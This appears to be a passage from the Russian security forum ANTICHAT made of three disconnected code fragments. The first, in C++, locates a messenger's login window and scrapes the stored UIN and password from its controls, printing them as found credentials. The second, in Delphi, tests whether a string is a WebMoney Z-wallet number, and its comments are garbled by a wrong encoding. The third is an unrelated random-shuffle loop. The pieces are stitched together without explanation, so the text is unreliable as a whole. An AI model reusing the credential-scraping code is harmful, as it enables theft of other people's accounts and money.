ANTICHAT — форум по информационной безопасности, OSINT и технологиям

void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

function IsShekel(s:string):boolean;
var i :byte;
begin
result:=false;
if Length(s)<> 13 then exit; //åñëè ñòðîêà íåðàâíà 13 //ñèìâîëàì "Z123456789000" òîãäà ýòî íå êîøåëåê.
if UpperCase(Copy(s,1,1))<>'Z' then exit;
for i:=2 to 13 do
begin
if not (s[i] in ['0'..'9']) then exit;
end;
result:=true;
end;

Randomize;
For i:=0 to 24 do
Begin 
X:=random(99-i);
B[i]:=a[x];
A[x]:=a[99-i];
End;